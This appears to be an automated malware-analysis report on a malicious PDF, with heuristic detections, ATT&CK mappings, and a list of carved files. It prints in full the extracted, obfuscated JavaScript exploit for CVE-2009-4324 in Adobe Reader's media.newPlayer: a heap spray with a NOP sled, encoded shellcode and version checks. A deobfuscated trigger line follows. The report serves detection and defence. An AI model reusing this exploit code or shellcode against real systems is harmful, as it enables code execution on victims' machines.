MALICIOUS
292
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript that exploits CVE-2009-4324 using the media.newPlayer sink. This JavaScript is obfuscated and likely downloads a second-stage payload from the external URI http://www.fineprint.cn. The presence of a secondary embedded PDF also suggests a multi-stage attack. The confidence is high due to the critical heuristic firings related to the CVE exploit and the embedded JavaScript.
Machine Learning
- Nyx PDF Classifier malicious score 0.9940
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGEA valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var nop = unescape("\x25\x750c0c"); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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External URI info PDF_URIPDF contains an external URL action
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Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.fineprint.cn PDF link annotation
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 9
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0021_000.js |
pdf-javascript-stream | PDF /JS object 21 at offset 0x514 | 2371 bytes |
SHA-256: 46792053a45d159ff594f2b6f0f4fd5afdb02de252a83fbb1c36c137f58ad9a8 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;
function AppendLoop(ss,len)
{
for(slen=0;slen<len;)
{
ss +=ss;
slen = ss.length;
}
return ss;
}
function urpl(k,sc)
{
var c = "u";
var kc=k+c
var re = /XX/g;
sc = sc.replace(re,kc);
return sc;
}
var une = unescape;
var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29deXX5fc9XX37b1XX5731XX8314XX1001XX2602XX4207XXdee0XX55eeXXdee4XXeceeXXbabfXXdc4fXXdee0XX67eeXXd2a0XX9c65XX73fcXX8465XX8fe8XX9965XX55dcXXc29aXXdd98XXba1bXXa86bXXefceXXed15XXa527XX73a1XX29edXX05d3XX52e1XXe6f0XX981cXX1fe8XXe125XX04e3XX07aeXXe511XX99f1XX8007XXb265XXddc4XX8a33XXd26bXX67a5XXc2beXX31edXXda6bXXef65XX7525XX0eb7XXed5cXX6f35XXda23XXec84XX21b3XX10b9XXd9dbXX1f9bXX8169XX7512XX8cb2XX9b11XX21e4XX1099XX891fXX7516XX9e8aXXec86XXdef0XX13eeXXd697XX13bcXX2ab7XXab67XXb418XX61eeXX2aa7XX13beXXd697XX9b11XX2118XX1099XX891fXX671eXXd2afXXab65XX1e18XXd3e6XXee60XXacadXX2902XXbb11XX3618XX13a3XX211fXX89f8XXce1aXX26baXX4f4fXXe442XXa83aXX7743XX019dXX9fbeXXdee1XXce2cXXdee0XXd44fXXdee1XXeeaeXXdee0";
sc = une(urpl("%",sc));
function j_exp()
{
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77\x50\x6C\x61\x79";
var d = "\x65\x72";
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var h = "\x70\x72\x69\x6E";
var i = "\x74\x64";
var j = h+i;
var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
str1 = une(urpl("%",str1));
var nop = unescape("\x25\x750c0c");
nop = AppendLoop(nop,18000);
memory=new Array();
for(i=0;i<0xE00;i++)memory[i] = nop+sc;
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);
}
}
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
j_exp();
}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | string-concatenation normalized Acrobat API aliases at offset 0x514 | 126 bytes |
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74 |
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Preview scriptFirst 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */ |
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font_00_sfnt_off000078b1.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x78B1 | 23872 bytes |
SHA-256: c5a05d2ca966c64fa2d86fe9cfbdcfafeac6ffbc04155f0086fe5d7e173b7501 |
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font_01_sfnt_off0000b9cc.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0xB9CC | 26076 bytes |
SHA-256: 2f8b1869bde14dfb740c8396a7b517efb19b3b5aface11d70dea7fb82847194e |
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font_02_sfnt_off0000fe54.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0xFE54 | 17932 bytes |
SHA-256: 08f370c1d6386ee8aa54fbb27fca0a36c2ce5636f48ec7f358aa63b03f8d15d1 |
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font_03_sfnt_off00012ccd.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x12CCD | 9940 bytes |
SHA-256: 1f4747b4e02f482ebae067058f2d9d938427949329c4ead852081e38924180c6 |
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font_04_sfnt_off00014f43.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x14F43 | 3200 bytes |
SHA-256: da221eaf9c0703b15f52b4a6970fa71a439df3d18f75c8d84d8a42bde6044dfb |
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polyglot_child_pdf_off00006112.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0x6112 | 70206 bytes |
SHA-256: 55de2de774c2bbe389184955adf9413bb0434d997c8aa876ff7b3960394ebc30 |
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polyglot_child_pdf_off00015b63.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0x15B63 | 6125 bytes |
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8 |
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